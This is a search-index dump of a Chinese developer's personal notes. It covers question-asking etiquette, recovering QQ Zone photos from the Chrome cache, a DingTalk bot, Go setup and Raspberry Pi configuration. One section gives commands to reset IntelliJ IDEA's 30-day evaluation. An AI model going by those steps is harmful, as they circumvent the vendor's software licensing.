\\u5fc5\\u987b\\u662f\\u5bf9\\u65b9\\u590d\\u5236\\u540e\\u5c31\\u80fd\\u7acb\\u5373\\u8fd0\\u884c, \\u5e76\\u4e14\\u590d\\u73b0\\u95ee\\u9898\\u7684\\u6700\\u7b80\\u4ee3\\u7801.  \\u5220\\u53bb\\u4e0e\\u95ee\\u9898\\u65e0\\u5173\\u7684\\u90e8\\u5206</p> </li> <li><p>\\u522b\\u95ee\\u5e94\\u8be5\\u81ea\\u5df1\\u89e3\\u51b3\\u7684\\u95ee\\u9898, \\u907f\\u514d\\u65e0\\u610f\\u4e49\\u7684\\u7591\\u95ee</p> </li> </ul>\"},{\"location\":\"Developer/#_7\",\"title\":\"\\u95ee\\u9898\\u89e3\\u51b3\\u540e\",\"text\":\"<ul> <li> <p>\\u7b80\\u77ed\\u8bf4\\u660e\\u81ea\\u5df1\\u662f\\u5982\\u4f55\\u89e3\\u51b3\\u7684, \\u540e\\u7eed\\u5c1d\\u8bd5\\u7684\\u8fc7\\u7a0b</p> </li> <li> <p>\\u5982\\u679c\\u522b\\u4eba\\u5bf9\\u4f60\\u6709\\u5e2e\\u52a9, \\u611f\\u8c22\\u4e00\\u4e0b\\u5bf9\\u65b9, \\u6bd4\\u5982\\u53d1\\u4e2a\\u7ea2\\u5305\\u4ec0\\u4e48\\u7684</p> </li> </ul>\"},{\"location\":\"Developer/#_8\",\"title\":\"\\u9644\\u52a0\",\"text\":\"\"},{\"location\":\"Developer/#_9\",\"title\":\"\\u53c2\\u8003\",\"text\":\"<p>\\u7535\\u8111\\u51fa\\u73b0\\u6545\\u969c\\uff0c\\u5982\\u4f55\\u6b63\\u786e\\u5730\\u63d0\\u95ee https://vjudge1.github.io/2015/07/01/how-to-ask.html</p> <p>\\u4f60\\u4f1a\\u95ee\\u95ee\\u9898\\u5417 http://coolshell.cn/articles/3713.html</p> <p>\\u300a\\u63d0\\u95ee\\u7684\\u827a\\u672f\\uff1a\\u5982\\u4f55\\u5feb\\u901f\\u83b7\\u5f97\\u7b54\\u6848\\u300b\\uff08\\u7cbe\\u8bfb\\u7248\\uff09 http://bbs.csdn.net/topics/390307835</p>\"},{\"location\":\"Developer/#_10\",\"title\":\"\\u672c\\u6587\\u7684\\u56fe\\u7247\\u7248\",\"text\":\"<p>(\\u65b9\\u4fbf\\u5728\\u804a\\u5929\\u5de5\\u5177\\u91cc\\u7529\\u7ed9\\u5bf9\\u65b9):</p> <p></p>\"},{\"location\":\"Developer/#chromeqq\",\"title\":\"\\u4f7f\\u7528chrome\\u7f13\\u5b58\\u627e\\u5230\\u88ab\\u5220\\u7684qq\\u7a7a\\u95f4\\u7684\\u56fe\\u7247\",\"text\":\"<p>\\u770b\\u5230\\u6709\\u597d\\u53cb\\u79c0\\u6069\\u7231\\uff0c\\u7136\\u540e\\u5c31\\u6ca1\\u6709\\u6743\\u9650\\u8bbf\\u95ee\\u4e86\\uff0c\\u4f46\\u6253\\u5f00\\u8fc7\\u7684\\u56fe\\u7247\\u6709chrome\\u7f13\\u5b58\\uff0c\\u4e8e\\u662f\\u4fbf\\u5c1d\\u8bd5\\u4ece\\u7f13\\u5b58\\u627e\\u5230\\u56fe\\u7247url</p> <p>chrome\\u7684\\u7f13\\u5b58\\u53ef\\u4ee5\\u5728\\u8fd9\\u91cc\\u627e\\u5230\\uff1a</p> <pre><code>chrome://cache/\\n</code></pre> <p>\\u7136\\u540e\\u968f\\u610f\\u70b9\\u5f00\\u4e00\\u5f20qq\\u7a7a\\u95f4\\u7684\\u56fe\\u7247\\uff0c\\u53d1\\u73b0\\u5176\\u5305\\u542bpsb\\uff08\\u6bd5\\u7adf\\u53f3\\u952e\\u4fdd\\u5b58\\u7684\\u6587\\u4ef6\\u540d\\u9ed8\\u8ba4\\u5c31\\u662fpsb\\uff09\\uff0c\\u7136\\u540e\\u5c31\\u662f\\u641c\\u7d22\\u54af</p> <p>\\u5728\\u70b9\\u8fdb\\u53bb\\u7684\\u7f13\\u5b58\\u9875\\u9762\\u53ef\\u4ee5F12\\u6267\\u884cjs\\uff0c\\u67e5\\u770b\\u7f13\\u5b58\\u56fe\\u7247\\uff1a</p> <p>\\u4ee3\\u7801\\u6765\\u6e90\\uff1ahttp://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html</p> <pre><code>    (function() {\\nvar preTags = document.getElementsByTagName('pre');\\nvar preWithHeaderInfo = preTags[0];\\nvar preWithContent = preTags[2];\\n\\nvar lines = preWithContent.textContent.split('\\\\n');\\n\\n// get data about the formatting (changes between different versions of chrome)\\nvar rgx = /^(0{8}:\\\\s+)([0-9a-f]{2}\\\\s+)[0-9a-f]{2}/m;\\nvar match = rgx.exec(lines[0]);\\n\\nvar text = '';\\nfor (var i = 0; i &lt; lines.length; i++) {\\nvar line = lines[i];\\nvar firstIndex = match[1].length; // first index of the chars to match (e.g. where a '84' would start)\\nvar indexJump = match[2].length; // how much space is between each set of numbers\\nvar totalCharsPerLine = 16;\\nindex = firstIndex;\\nfor (var j = 0; j &lt; totalCharsPerLine; j++) {\\nvar hexValAsStr = line.substr(index, 2);\\nif (hexValAsStr == '  ') {\\n// no more chars\\nbreak;\\n}\\n\\nvar asciiVal = parseInt(hexValAsStr, 16);\\ntext += String.fromCharCode(asciiVal);\\n\\nindex += indexJump;\\n}\\n}\\n\\nvar headerText = preWithHeaderInfo.textContent;\\nvar elToInsertBefore = document.body.childNodes[0];\\nvar insertedDiv = document.createElement(\\\"div\\\");\\ndocument.body.insertBefore(insertedDiv, elToInsertBefore);\\n\\n// find the filename\\nvar nodes = [document.body];\\nvar filepath = '';\\nwhile (true) {\\nvar node = nodes.pop();\\nif (node.hasChildNodes()) {\\nvar children = node.childNodes;\\nfor (var i = children.length - 1; i &gt;= 0; i--) {\\nnodes.push(children[i]);\\n}\\n}\\n\\nif (node.nodeType === Node.TEXT_NODE &amp;&amp; /\\\\S/.test(node.nodeValue)) {\\n// 1st depth-first text node (with non-whitespace chars) found\\nfilepath = node.nodeValue;\\nbreak;\\n}\\n}\\n\\noutputResults(insertedDiv, convertToBase64(text), filepath, headerText);\\n\\ninsertedDiv.appendChild(document.createElement('hr'));\\n\\nfunction outputResults(parentElement, fileContents, fileUrl, headerText) {\\n// last updated 1/27/12\\nvar rgx = /.+\\\\/([^\\\\/]+)/;\\nvar filename = rgx.exec(fileUrl)[1];\\n\\n// get the content type\\nrgx = /content-type: (.+)/i;\\nvar match = rgx.exec(headerText);\\nvar contentTypeFound = match != null;\\nvar contentType = \\\"text/plain\\\";\\nif (contentTypeFound) {\\ncontentType = match[1];\\n}\\n\\nvar dataUri = \\\"data:\\\" + contentType + \\\";base64,\\\" + fileContents;\\n\\n// check for gzipped file\\nvar gZipRgx = /content-encoding: gzip/i;\\nif (gZipRgx.test(headerText)) {\\nfilename += '.gz';\\n}\\n\\n// check for image\\nvar imageRgx = /image/i;\\nvar isImage = imageRgx.test(contentType);\\n\\n// create link\\nvar aTag = document.createElement('a');\\naTag.textContent = \\\"Left-click to download the cached file\\\";\\naTag.setAttribute('href', dataUri);\\naTag.setAttribute('download', filename);\\nparentElement.appendChild(aTag);\\nparentElement.appendChild(document.createElement('br'));\\n\\n// create image\\nif (isImage) {\\nvar imgTag = document.createElement('img');\\nimgTag.setAttribute(\\\"src\\\", dataUri);\\nparentElement.appendChild(imgTag);\\nparentElement.appendChild(document.createElement('br'));\\n}\\n\\n// create warning\\nif (!contentTypeFound) {\\nvar pTag = document.createElement('p');\\npTag.textContent = \\\"WARNING: the type of file was not found in the headers... defaulting to text file.\\\";\\nparentElement.appendChild(pTag);\\n}\\n}\\n\\nfunction getBase64Char(base64Value) {\\nif (base64Value &lt; 0) {\\nthrow \\\"Invalid number: \\\" + base64Value;\\n} else if (base64Value &lt;= 25) {\\n// A-Z\\nreturn String.fromCharCode(base64Value + \\\"A\\\".charCodeAt(0));\\n} else if (base64Value &lt;= 51) {\\n// a-z\\nbase64Value -= 26; // a\\nreturn String.fromCharCode(base64Value + \\\"a\\\".charCodeAt(0));\\n} else if (base64Value &lt;= 61) {\\n// 0-9\\nbase64Value -= 52; // 0\\nreturn String.fromCharCode(base64Value + \\\"0\\\".charCodeAt(0));\\n} else if (base64Value &lt;= 62) {\\nreturn '+';\\n} else if (base64Value &lt;= 63) {\\nreturn '/';\\n} else {\\nthrow \\\"Invalid number: \\\" + base64Value;\\n}\\n}\\n\\nfunction convertToBase64(input) {\\n// http://en.wikipedia.org/wiki/Base64#Example\\nvar remainingBits;\\nvar result = \\\"\\\";\\nvar additionalCharsNeeded = 0;\\n\\nvar charIndex = -1;\\nvar charAsciiValue;\\nvar advanceToNextChar = function() {\\ncharIndex++;\\ncharAsciiValue = input.charCodeAt(charIndex);\\nreturn charIndex &lt; input.length;\\n};\\n\\nwhile (true) {\\nvar base64Char;\\n\\n// handle 1st char\\nif (!advanceToNextChar()) break;\\nbase64Char = charAsciiValue &gt;&gt;&gt; 2;\\nremainingBits = charAsciiValue &amp; 3; // 0000 0011\\nresult += getBase64Char(base64Char); // 1st char\\nadditionalCharsNeeded = 3;\\n\\n// handle 2nd char\\nif (!advanceToNextChar()) break;\\nbase64Char = (remainingBits &lt;&lt; 4) | (charAsciiValue &gt;&gt;&gt; 4);\\nremainingBits = charAsciiValue &amp; 15; // 0000 1111\\nresult += getBase64Char(base64Char); // 2nd char\\nadditionalCharsNeeded = 2;\\n\\n// handle 3rd char\\nif (!advanceToNextChar()) break;\\nbase64Char = (remainingBits &lt;&lt; 2) | (charAsciiValue &gt;&gt;&gt; 6);\\nresult += getBase64Char(base64Char); // 3rd char\\nremainingBits = charAsciiValue &amp; 63; // 0011 1111\\nresult += getBase64Char(remainingBits); // 4th char\\nadditionalCharsNeeded = 0;\\n}\\n\\n// there may be an additional 2-3 chars that need to be added\\nif (additionalCharsNeeded == 2) {\\nremainingBits = remainingBits &lt;&lt; 2; // 4 extra bits\\nresult += getBase64Char(remainingBits) + \\\"=\\\";\\n} else if (additionalCharsNeeded == 3) {\\nremainingBits = remainingBits &lt;&lt; 4; // 2 extra bits\\nresult += getBase64Char(remainingBits) + \\\"==\\\";\\n} else if (additionalCharsNeeded != 0) {\\nthrow \\\"Unhandled number of additional chars needed: \\\" + additionalCharsNeeded;\\n}\\n\\nreturn result;\\n}\\n})()\\n</code></pre> <p>\\u4f8b\\u5982\\u627e\\u5230http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA</p> <p>\\u4f46\\u8fd9\\u6837\\u53ea\\u662f\\u4e00\\u5f20\\u5c0f\\u56fe\\uff0c\\u6211\\u4eec\\u5f53\\u7136\\u5e0c\\u671b\\u6709\\u5927\\u56fe\\uff0c\\u6bd4\\u5bf9\\u5927\\u56fe\\u7684url\\u53d1\\u73b0\\u53ea\\u8981\\u5c06\\u4e0a\\u8ff0url\\u7684/a/\\u66ff\\u6362\\u4e3a/b/\\u5373\\u53ef</p> <p>\\u6240\\u4ee5\\u603b\\u7ed3\\u4e00\\u4e0b\\u5c31\\u662f\\u6253\\u5f00\\u7f13\\u5b58\\u9875\\u9762chrome://cache/\\uff0c\\u67e5\\u627epsb\\u5b57\\u7b26\\u4e32\\uff0c\\u627e\\u5230\\u60f3\\u8981\\u7684\\u56fe\\u7247\\uff0c\\u5982\\u679c\\u662f\\u5c0f\\u56fe\\u5c31\\u6539\\u4e00\\u4e0burl\\u5f97\\u5230\\u5927\\u56fe</p>\"},{\"location\":\"Developer/#_11\",\"title\":\"\\u4e3a\\u4ec0\\u4e48\\u6211\\u559c\\u6b22\\u5199\\u535a\\u5ba2\\uff1f\",\"text\":\"<p>\\u6458\\u81ea https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/</p> <p>\\u5199\\u4e0b\\u6765\\u7684\\u8fc7\\u7a0b\\u53d1\\u73b0\\u81ea\\u5df1\\u8fd8\\u6709\\u4e0d\\u61c2\\u7684\\uff0c\\u7ed9\\u81ea\\u5df1\\u8bb2\\u6e05\\u695a\\u751a\\u81f3\\u80fd\\u53d1\\u73b0rust\\u6807\\u51c6\\u5e93\\u7684bug\\uff0c\\u672c\\u8d28\\u4e0a\\u662f\\u7ed9\\u5f88\\u591a\\u4eba\\u8bb2\\u9700\\u8981\\u8003\\u8651\\u6240\\u6709\\u65b9\\u9762\\u800c\\u4e0d\\u662f\\u6700\\u5c0f\\u5fc5\\u8981\\uff1b\\u5f53\\u4f60\\u89c9\\u5f97\\u663e\\u800c\\u6613\\u89c1\\u7684\\u65f6\\u5019\\u5f88\\u5bb9\\u6613\\u5931\\u53bb\\u89e3\\u91ca\\u6e05\\u695a\\u7684\\u80fd\\u529b</p> <p>\\u8bfb\\u65e7\\u7684\\u6587\\u7ae0\\u5f88\\u6709\\u8da3 \\u8ba9\\u81ea\\u5df1\\u56de\\u5230\\u5199\\u4f5c\\u7684\\u90a3\\u4e00\\u65f6\\u523b \\u6bd4\\u8f83\\u5f53\\u65f6\\u81ea\\u5df1\\u7684\\u7406\\u89e3\\u548c\\u73b0\\u5728\\u7684 \\u4f53\\u4f1a\\u81ea\\u5df1\\u7684\\u8fdb\\u6b65\\uff0c\\u91cd\\u65b0\\u5b66\\u4e60\\u5df2\\u7ecf\\u5fd8\\u4e86\\u7684</p> <p>\\u5199\\u4f5c\\u80fd\\u6362\\u4e2a\\u8111\\u5b50 \\u5728\\u4e0d\\u540c\\u5de5\\u4f5c\\u4e4b\\u524d\\u5207\\u6362 \\u4f7f\\u7528\\u4e0d\\u540c\\u7684\\u8111\\u533a \\u6574\\u5929\\u90fd\\u6709\\u7cbe\\u529b</p> <p>\\u5199blog\\u80fd\\u5077\\u61d2 \\u4ee5\\u540e\\u6709\\u4eba\\u95ee\\u5230\\u5c31\\u80fd\\u76f4\\u63a5\\u7ed9\\u94fe\\u63a5\\u8bf4\\u201c\\u4f60\\u60f3\\u77e5\\u9053\\u66f4\\u591a\\u7684\\u8bdd \\u6211\\u5df2\\u7ecf\\u5728\\u8fd9\\u5199\\u8fc7\\u4e86\\u201d</p> <p>\\u522b\\u4eba\\u5199\\u8fc7\\u4e86\\u8fd8\\u8981\\u4e0d\\u8981\\u5199\\uff1f\\u8981\\u5199\\uff01 \\u4f60\\u7684\\u7406\\u89e3\\u4e0d\\u540c\\uff0c\\u6563\\u843d\\u5728\\u4e0d\\u540c\\u5730\\u65b9\\u7684\\u77e5\\u8bc6\\u7efc\\u5408\\u8d77\\u6765\\u4e5f\\u6709\\u4ef7\\u503c</p> <p>\\u4f60\\u771f\\u6b63\\u7684\\u804c\\u8d23\\u662f\\u5f53\\u4f60\\u6709\\u7a7afree\\u4e86\\uff0c\\u4f60\\u5e94\\u8be5\\u8ba9\\u5176\\u4ed6\\u4eba\\u4e5f\\u8f7b\\u677efree\\uff0c\\u5982\\u679c\\u4f60\\u6709\\u80fd\\u529bpower\\uff0c\\u4f60\\u7684\\u804c\\u8d23\\u5c31\\u662f\\u4e3a\\u5176\\u4ed6\\u4eba\\u8d4b\\u80fdempower</p> <p>\\u81ea\\u5b66\\u4e0d\\u610f\\u5473\\u7740\\u5f53\\u4e00\\u4e2a\\u7f16\\u8bd1\\u5668\\u7684fuzzer\\u968f\\u673a\\u5c1d\\u8bd5\\uff0c\\u800c\\u662f\\u5b66\\u6587\\u6863tutorial\\uff0c\\u4ece\\u4e66\\u7c4d\\u5b66\\u7b97\\u6cd5\\u2014\\u2014\\u81ea\\u5b66\\u53ea\\u662f\\u8bf4\\u4f60\\u5b8c\\u5168\\u638c\\u63a7\\u81ea\\u5df1\\u7684\\u5b66\\u4e60\\u8fc7\\u7a0b\\uff0c\\u4f46\\u4ecd\\u7136\\u4f9d\\u8d56\\u5176\\u4ed6\\u4eba\\u7684\\u5de5\\u4f5c</p> <p>\\u4f60\\u4e5f\\u5e94\\u8be5\\u5199\\u535a\\u5ba2 \\u8fd9\\u91cc\\u6709\\u4e00\\u4e9b\\u5efa\\u8baehttps://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/</p>\"},{\"location\":\"Developer/#atoutgoing\",\"title\":\"\\u652f\\u6301\\u88abat\\u7684(outgoing)\\u9489\\u9489\\u673a\\u5668\\u4eba\",\"text\":\"<p>\\u9700\\u8981\\u81ea\\u5df1\\u6ce8\\u518c\\u4e00\\u4e2a\\u4f01\\u4e1a\\uff0c\\u7ba1\\u7406\\u5458\\u624d\\u80fd\\u521b\\u5efa\\u8fd9\\u79cd\\u673a\\u5668\\u4eba\\uff0c\\u673a\\u5668\\u4eba\\u53ea\\u80fd\\u5728\\u5185\\u90e8\\u7fa4\\u4f7f\\u7528</p> <p>\\u6587\\u6863\\uff1a https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p</p> <p>\\u5176\\u4e2d\\u7f3a\\u5931\\u4e86\\u5173\\u4e8eatDingtalkIds\\u7684\\u63cf\\u8ff0\\uff0c\\u9700\\u8981\\u770b\\u8fd9\\u4e2a\\uff1a https://juejin.im/post/6844903922029576205</p> <p>\\u9700\\u8981\\u6ce8\\u610f\\u7684\\u5730\\u65b9\\u6709\\uff1a\\u4fee\\u6539\\u670d\\u52a1\\u5668\\u56de\\u8c03\\u901a\\u77e5\\u5730\\u5740\\u548c\\u4fee\\u6539\\u4e0a\\u7ebf\\u7684\\u65f6\\u5019\\uff0c\\u9489\\u9489\\u5c31\\u4f1a\\u9a8c\\u8bc1\\u670d\\u52a1\\u5668\\u662f\\u5426\\u6b63\\u5e38\\uff0c\\u4f60\\u53ef\\u4ee5<code>while true; nc -lp 8888 &lt; tmp.txt; done</code> \\u6b7b\\u5faa\\u73af\\u63d0\\u4f9b\\u4e2a\\u6b63\\u5e38\\u7684http\\u670d\\u52a1</p> <p>POST\\u53d1\\u6765\\u7684\\u6570\\u636e\\u91cc\\u9762\\u6709\\u4e34\\u65f6\\u7684url\\u53ef\\u4ee5\\u53d1\\u6d88\\u606f\\uff0c\\u8fd8\\u6709senderId\\u662f\\u53d1\\u9001\\u8005id\\u7528\\u6765\\u5728atDingtalkIds\\u4e2d\\u4f7f\\u7528</p> <p>\\u6536\\u5230\\u7684POST\\u5185\\u5bb9\\uff1a</p> <pre><code>{\\\"conversationId\\\":\\\"cidoAgtPbnu9MyulIyt0kpNYg==\\\",\\\"atUsers\\\":[{\\\"dingtalkId\\\":\\\"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW\\\"}],\\\"chatbotCorpId\\\":\\\"dingb1d0b0ca51cxxxxxx\\\",\\\"chatbotUserId\\\":\\\"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW\\\",\\\"msgId\\\":\\\"msgWjYj1k8LPNOBBy+jxNKwQw==\\\",\\\"senderNick\\\":\\\"\\u53d1\\u9001\\u8005\\u59d3\\u540d\\\",\\\"isAdmin\\\":false,\\\"senderStaffId\\\":\\\"2665036700000000\\\",\\\"sessionWebhookExpiredTime\\\":1600622026555,\\\"createAt\\\":1600616626487,\\\"senderCorpId\\\":\\\"dingb1d0b0ca51c029b24ac5d6980000000\\\",\\\"conversationType\\\":\\\"2\\\",\\\"senderId\\\":\\\"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV\\\",\\\"conversationTitle\\\":\\\"\\u7fa4\\u7ec4\\u6807\\u9898\\\",\\\"isInAtList\\\":true,\\\"sessionWebhook\\\":\\\"https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386\\\",\\\"text\\\":{\\\"content\\\":\\\" 1+1\\\"},\\\"msgtype\\\":\\\"text\\\"}\\n</code></pre> <p>\\u56de\\u590d\\u53d1\\u9001\\u8005\\u4e00\\u4e2a666\\uff1a</p> <pre><code>curl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H \\\"Content-Type: application/json\\\" --data '{\\\"msgtype\\\":\\\"text\\\", \\\"text\\\":{\\\"content\\\":\\\"666\\\"}, \\\"at\\\":{\\\"atDingtalkIds\\\":[\\\"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV\\\"]}}'\\n</code></pre>\"},{\"location\":\"Developer/#go\",\"title\":\"Go\\u8bed\\u8a00\",\"text\":\"\"},{\"location\":\"Developer/#_12\",\"title\":\"\\u5b89\\u88c5\",\"text\":\"<pre><code>wget -q https://golang.org/dl/go1.15.3.linux-amd64.tar.gz &amp;&amp;\\\\\\n    tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz\\nexport PATH=$PATH:/usr/local/go/bin\\n</code></pre>\"},{\"location\":\"Developer/#build\",\"title\":\"\\u63d0\\u53d6build\\u5931\\u8d25\\u7f3a\\u5931\\u7684\\u5e93\\u5b89\\u88c5\",\"text\":\"<pre><code>go build |&amp;  grep cannot |cut -d'\\\"' -f2|xargs go get\\n</code></pre>\"},{\"location\":\"Developer/#idea20202-30\",\"title\":\"IDEA2020.2 30\\u5929\\u540e\\u91cd\\u65b0\\u8bd5\\u7528\",\"text\":\"<p>\\u53c2\\u8003\\uff1a http://scz.617.cn:8/windows/202010261152.txt</p> <p>regedit\\u627e\\u5230HKCU\\\\SOFTWARE\\\\JavaSoft\\\\Prefs\\\\jetbrains\\\\idea\\uff0c\\u5176\\u4e2d\\u4f1a\\u6709\\u76ee\\u5f55\\u5305\\u542bevlsprt3\\\\202\\uff0c\\u5220\\u6389\\u8fd9\\u4e2a\\u76ee\\u5f55\\u91cc\\u9762\\u7684evlsprt\\u548cevlsprt2</p> <p>\\u7136\\u540e\\u5220\\u9664\\u8fd9\\u4e9b\\u76ee\\u5f55\\uff1a</p> <pre><code>rd /s /q \\\"%APPDATA%\\\\JetBrains\\\\IntelliJIdea2020.2\\\\eval\\\"\\ndel \\\"%APPDATA%\\\\JetBrains\\\\PermanentDeviceId\\\"\\ndel \\\"%APPDATA%\\\\JetBrains\\\\PermanentUserId\\\"\\ndel \\\"%APPDATA%\\\\JetBrains\\\\bl\\\"\\ndel \\\"%APPDATA%\\\\JetBrains\\\\crl\\\"\\n</code></pre> <p>\\u7f16\\u8f91\\u201d%APPDATA%\\\\JetBrains\\\\IntelliJIdea2020.2\\\\options\\\\other.xml\\u201d</p> <p>\\u5220\\u9664\\u5305\\u542bevlsprt.202\\u6216evlsprt2.202\\u7684\\u884c</p>\"},{\"location\":\"Developer/#_13\",\"title\":\"\\u6811\\u8393\\u6d3e\\u5230\\u624b\\u540e\\u914d\\u7f6e\",\"text\":\"<p>\\u4e00\\u6b3e\\u65b0\\u7684\\u6811\\u8393\\u6d3e4\\u5230\\u624b\\uff0c\\u9ed8\\u8ba4\\u4e3a\\u82f1\\u56fd\\u952e\\u76d8\\u5e03\\u5c40\\u4e0d\\u80fd\\u8f93\\u5165@#\\u7b26\\u53f7\\uff0c\\u663e\\u793a\\u5206\\u8fa8\\u7387\\u4e0d\\u591f1080p\\uff0c\\u4ee5\\u53ca\\u6709\\u7ebf\\u7f51\\u7edc\\u548c\\u65e0\\u7ebf\\u7f51\\u7edc\\u4f18\\u5148\\u7ea7\\u9700\\u8981\\u8c03\\u6574</p>\"},{\"location\":\"Developer/#_14\",\"title\":\"\\u4fee\\u6539\\u952e\\u76d8\\u5e03\\u5c40\",\"text\":\"<p>\\u67e5\\u5230\\u6709\\u6559\\u7a0b\\u8bf4<code>sudo raspi-config</code>\\u91cc\\u53ef\\u4ee5\\u4fee\\u6539\\u952e\\u76d8\\u5e03\\u5c40\\uff0c\\u5b9e\\u6d4b\\u53d1\\u73b0\\u6539\\u4e86\\u4e4b\\u540e\\u53ea\\u6572\\u4e86\\u4e00\\u6b21@\\u4e4b\\u540e\\u53c8\\u88ab\\u6539\\u56de\\u53bb\\u4e86\\uff0c\\u8fd8\\u662f\\u5f97\\u4fee\\u6539\\u8f93\\u5165\\u6cd5\\uff1a</p> <p>\\u53c2\\u8003 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html</p> <pre><code>sudo apt install fcitx\\nreboot\\n</code></pre> <p>\\u53f3\\u4e0a\\u89d2\\u6709\\u8f93\\u5165\\u6cd5\\u56fe\\u6807 \\u7ba1\\u7406\\u952e\\u76d8 \\u5220\\u6389\\u82f1\\u56fd \\u52a0\\u4e0a\\u82f1\\u8bed(\\u7f8e\\u56fd)\\u5373\\u53ef</p>\"},{\"location\":\"Developer/#_15\",\"title\":\"\\u663e\\u793a\\u5206\\u8fa8\\u7387\\u4fee\\u6539\",\"text\":\"<p>\\u53c2\\u8003 https://www.ncnynl.com/archives/201607/226.html</p> <p>\\u6811\\u8393\\u6d3e\\u6709\\u4e24\\u79cdhdmi\\u8f93\\u51fa\\u6a21\\u5f0f\\uff0c1\\u662fCEA\\u7535\\u89c6\\uff0c2\\u662fDMT\\u7535\\u8111\\u663e\\u793a\\u5668</p> <p>\\u67e5\\u770b\\u5f53\\u524d\\u663e\\u793a\\u5668\\u652f\\u6301\\u7684\\u5206\\u8fa8\\u7387\\u4eec\\uff1a</p> <pre><code>tvservice -m CEA\\ntvservice -m DMT\\n</code></pre> <p>\\u5b9e\\u9645\\u4e0a\\u663e\\u793a\\u51fa\\u6765\\u7684\\u5e76\\u4e0d\\u4e00\\u5b9a\\u5b8c\\u6574\\uff0c\\u8fd8\\u9700\\u8981\\u81ea\\u5df1\\u591a\\u6d4b\\u8bd5\\uff1a\\u4f8b\\u5982\\u8bbe\\u7f6e\\u4e3a 640x480   60Hz</p> <pre><code>tvservice -e \\\"DMT 4\\\"\\n</code></pre> <p>\\u5efa\\u8bae\\u5728\\u7ec8\\u7aef\\u91cc\\u5148\\u6572\\u8fd9\\u4e2a\\u547d\\u4ee4 \\u5f53\\u663e\\u793a\\u4e0d\\u51fa\\u6765\\u7684\\u65f6\\u5019\\u53ef\\u4ee5\\u6309\\u2191\\u56de\\u8f66\\u6539\\u56de\\u4e00\\u4e2a\\u6b63\\u5e38\\u663e\\u793a\\uff0c\\u4e0d\\u81f3\\u4e8e\\u91cd\\u542f</p> <p>\\u5b8c\\u6574\\u7684\\u5217\\u8868\\u5728\\u4e0a\\u8ff0\\u53c2\\u8003\\u94fe\\u63a5\\u4e2d\\u6709\\u4e86\\uff0c\\u53ef\\u4ee5\\u81ea\\u5df1\\u591a\\u8bd5\\u8bd5\\uff0c\\u5207\\u6362\\u5206\\u8fa8\\u7387\\u540e\\u8bb0\\u5f97\\u79fb\\u52a8\\u9f20\\u6807 \\u4e0d\\u7136\\u4e0d\\u4f1a\\u663e\\u793a</p> <p>\\u4f46\\u662f\\u6211\\u5e0c\\u671b\\u7684\\u5206\\u8fa8\\u7387 1920x1080 60Hz\\u4e0d\\u5728DMT\\u5217\\u8868\\u4e2d\\uff0c\\u8fd9\\u5c31\\u9700\\u8981\\u81ea\\u5b9a\\u4e49\\u5206\\u8fa8\\u7387\\u4e86</p> <p>\\u4fee\\u6539<code>/boot/config.txt</code>\\uff0c\\u6dfb\\u52a0\\uff1a</p> <pre><code>hdmi_cvt=1920 1080 60 3\\nhdmi_group=2\\nhdmi_mode=87\\nhdmi_drive=2\\n</code></pre> <p>\\u5176\\u4e2dhdmi_cvt\\u7684\\u89e3\\u91ca\\uff1a https://www.raspberrypi.org/documentation/configuration/config-txt/video.md</p> <p>\\u5176\\u4e2d\\u6700\\u540e\\u4e00\\u4e2a3\\u662fsdtv_aspect \\u957f\\u5bbd\\u6bd4 \\u6211\\u8fd9\\u91cc\\u662f16:9 \\u6240\\u4ee5\\u586b\\u4e863</p> <p>\\u4fee\\u6539\\u540e\\u91cd\\u542f\\u5373\\u53ef\\uff0c\\u4f3c\\u4e4e\\u76ee\\u524d\\u6811\\u8393\\u6d3e\\u4e5f\\u5b66\\u806a\\u660e\\u4e86\\uff0c\\u5373\\u4f7fconfig.txt\\u91cc\\u914d\\u7f6e\\u4e86\\u9519\\u8bef\\u7684\\u503c\\u663e\\u793a\\u4e0d\\u51fa\\u6765\\uff0c\\u4e5f\\u4f1a\\u81ea\\u52a8\\u56de\\u9000\\u5230720p\\u4fdd\\u8bc1\\u663e\\u793a</p>\"},{\"location\":\"Developer/#_16\",\"title\":\"\\u8c03\\u6574\\u65e0\\u7ebf\\u7f51\\u7edc\\u548c\\u6709\\u7ebf\\u7f51\\u7edc\\u7684\\u4f18\\u5148\\u7ea7\",\"text\":\"<p>\\u6211\\u5e0c\\u671b\\u5916\\u7f51\\u8bbf\\u95ee(default\\u8def\\u7531)\\u8d70wifi\\uff0c\\u5185\\u7f51\\u8bbf\\u95ee(10.0.0.0/8)\\u8d70\\u6709\\u7ebf\\uff0c\\u4f46\\u9ed8\\u8ba4\\u8054\\u7f51\\u540e\\u6709\\u7ebf\\u4e5f\\u4f1a\\u5360\\u636edefault\\u8def\\u7531\\u800c\\u4e14\\u4f18\\u5148\\u7ea7\\u6bd4\\u65e0\\u7ebf\\u9ad8\\uff08\\u8dc3\\u70b9\\u6570\\u5c0f\\uff09</p> <p>\\u4e24\\u4e2a\\u7f51\\u7edc\\u90fd\\u662f\\u4f7f\\u7528dhcp\\u83b7\\u53d6IP\\uff0c\\u6240\\u4ee5\\u53ef\\u4ee5\\u5728dhcp\\u7684\\u914d\\u7f6e\\u6587\\u4ef6\\u91cc\\u914d\\u7f6emetric</p> <p>\\u53c2\\u8003\\uff1a https://raspberrypi.stackexchange.com/a/50951</p> <p>\\u7f16\\u8f91<code>/etc/dhcpcd.conf</code></p> <pre><code>interface wlan0\\nmetric 200\\n\\ninterface eth0\\nmetric 300\\n</code></pre> <p>\\u7136\\u540e\\u7f16\\u8f91dhcp\\u7684hook\\u81ea\\u52a8\\u6267\\u884croute\\u547d\\u4ee4\\uff1a</p> 